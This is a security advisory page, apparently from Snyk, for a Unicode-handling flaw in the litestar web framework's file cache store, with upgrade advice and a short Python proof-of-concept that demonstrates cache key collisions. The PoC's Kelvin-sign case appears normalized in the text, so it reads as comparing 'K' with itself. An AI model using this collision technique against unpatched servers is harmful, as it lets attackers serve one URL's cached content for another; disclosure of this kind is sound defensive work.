Improper Handling of Unicode Encoding Affecting litestar package, versions [,2.20.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-LITESTAR-15253019
- published10 Feb 2026
- disclosed9 Feb 2026
- creditSirdorblu
Introduced: 9 Feb 2026
CVE-2026-25480 (opens in a new tab)How to fix?
Upgrade litestar to version 2.20.0 or higher.
Overview
litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding via the _safe_file_name in the stores/file.py. An attacker can cause cached responses for one URL to be served to requests for a different URL by sending specially crafted paths that exploit key collisions.
PoC
import asyncio, tempfile
from litestar.stores.file import FileStore
async def main():
d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
store = FileStore(d, create_directories=True)
await store.__aenter__()
# 1) ASCII ord-collision: "-" -> 45
await store.set("k-", b"A")
v = await store.get("k45")
print("k- ->", v)
print("k45 ->", await store.get("k45"))
if v == b"A":
print("VULNERABLE: 'k-' collides with 'k45'")
# 2) NFKD collision: Kelvin sign -> K
await store.set("K", b"B") # U+212A
v2 = await store.get("K")
print("K ->", await store.get("K"))
print("K ->", v2)
if v2 == b"B":
print("VULNERABLE: 'K' collides with 'K' (NFKD)")
if __name__ == "__main__":
asyncio.run(main())